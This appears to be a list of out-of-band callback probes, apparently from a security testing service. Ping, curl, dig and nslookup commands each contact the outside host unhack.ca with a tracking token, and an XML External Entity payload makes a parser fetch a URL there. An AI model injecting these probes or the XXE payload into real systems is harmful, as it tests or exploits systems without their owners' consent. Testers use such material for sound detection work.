$ ping -c1 -p 0081ebaafb4ef0fc8dec4091d9718800 unhack.ca
$ curl http://unhack.ca/p/81ebaafb4ef0fc8dec4091d97188
$ dig 81ebaafb4ef0fc8dec4091d97188 @unhack.ca
$ dig 81ebaafb4ef0fc8dec4091d97188.ns.unhack.ca
C:\> nslookup 81ebaafb4ef0fc8dec4091d97188 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/81ebaafb4ef0fc8dec4091d97188">]> <foo>&xxe;</foo>